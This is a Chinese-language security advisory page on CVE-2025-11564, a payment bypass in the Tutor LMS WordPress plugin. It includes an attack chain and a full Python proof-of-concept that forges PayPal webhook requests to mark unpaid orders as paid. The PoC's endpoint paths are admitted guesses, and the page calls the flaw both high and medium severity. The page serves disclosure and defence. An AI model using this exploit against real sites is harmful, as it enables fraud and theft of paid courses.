IPBUF安全漏洞报告
English
CVE-2025-11564 CVSS 5.3 中危

CVE-2025-11564: Tutor LMS插件支付验证绕过漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-11564
漏洞类型
授权绕过/支付验证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS WordPress插件

相关标签

CVE-2025-11564WordPress插件漏洞支付验证绕过授权绕过Tutor LMS业务逻辑漏洞无需认证利用PayPal集成漏洞

漏洞概述

CVE-2025-11564是WordPress平台Tutor LMS在线课程插件中的一个高危安全漏洞。该插件是流行的eLearning和在线课程解决方案,被广泛应用于教育网站。漏洞存在于支付处理流程中的verifyAndCreateOrderData函数,由于缺少适当的权限检查和签名验证,攻击者可以绕过支付验证机制。攻击者通过构造恶意的webhook请求,将payment_type参数设置为'recurring',即可将未付款的订单强制标记为已付款状态。此漏洞影响所有3.8.3及以下版本,无需认证即可利用,CVSS评分5.3,属于中危级别。漏洞于2025年10月25日由Wordfence安全团队发现并披露。建议所有使用该插件的用户立即升级到最新版本以修复此安全问题。

技术细节

漏洞根源在于Tutor LMS插件的PayPal支付网关集成代码中,verifyAndCreateOrderData函数在处理webhook回调时未能正确验证请求来源和用户权限。攻击者可以通过向目标站点发送精心构造的HTTP POST请求,伪造PayPal webhook通知。在请求中设置payment_type为'recurring'参数后,函数会跳过正常的支付验证流程,直接将关联的订单状态修改为已付款。问题代码位于ecommerce/PaymentGateways/Paypal/src/Payments/Paypal/Paypal.php第323行附近。由于缺少对webhook签名的严格验证和用户身份确认,攻击者无需任何认证凭证即可实施攻击,成功后将导致订单被错误标记为已支付,造成经济损失或课程访问权限被滥用。

攻击链分析

STEP 1
步骤1
攻击者识别运行Tutor LMS插件(版本≤3.8.3)的WordPress网站
STEP 2
步骤2
攻击者构造恶意webhook请求,将payment_type设置为'recurring'
STEP 3
步骤3
向目标站点的PayPal webhook端点发送伪造的支付通知请求
STEP 4
步骤4
verifyAndCreateOrderData函数因缺少权限检查和签名验证,接受恶意请求
STEP 5
步骤5
目标订单状态被强制修改为'已付款',绕过正常支付流程
STEP 6
步骤6
攻击者获得付费课程访问权限或造成经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11564 PoC - Tutor LMS Payment Verification Bypass # Target: WordPress site with Tutor LMS plugin < 3.8.4 TARGET_URL = "https://vulnerable-site.com" # The webhook endpoint varies, common paths: WEBHOOK_PATHS = [ "/wp-json/tutor/v1/webhook/paypal", "/?tutor_action=verify_paypal_webhook", "/wp-admin/admin-ajax.php?action=tutor_paypal_webhook" ] def create_malicious_webhook_request(): """ Forge a PayPal webhook request to mark order as paid This PoC demonstrates the missing authorization check """ payload = { "payment_type": "recurring", # Key parameter to bypass verification "order_id": "ATTACKER_CONTROLLED_ORDER_ID", "status": "completed", "amount": "0.01", "currency": "USD", "transaction_id": "MALICIOUS_TX_" + str(random.randint(100000, 999999)), "payer_email": "[email protected]" } headers = { "Content-Type": "application/json", "User-Agent": "PayPal-Webhook-Forge", "X-Paypal-Transmission-Id": "fake-transmission-id", "X-Paypal-Transmission-Time": "2025-01-01T00:00:00Z", "X-Paypal-Transmission-Sig": "fake-signature", "X-Paypal-Cert-Url": "" } return payload, headers def exploit(target_url): """Execute the payment verification bypass attack""" payload, headers = create_malicious_webhook_request() for path in WEBHOOK_PATHS: url = target_url + path try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Possible successful exploitation at: {url}") print(f"[+] Response: {response.text}") else: print(f"[-] Failed at {url}: Status {response.status_code}") except requests.RequestException as e: print(f"[!] Error targeting {url}: {e}") if __name__ == "__main__": import random exploit(TARGET_URL)

影响范围

Tutor LMS WordPress插件 <= 3.8.3

防御指南

临时缓解措施
如果无法立即升级,可临时禁用PayPal支付网关功能,改用其他支付方式。同时可以添加WAF规则拦截异常payment_type参数,或在web服务器层面限制对webhook端点的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表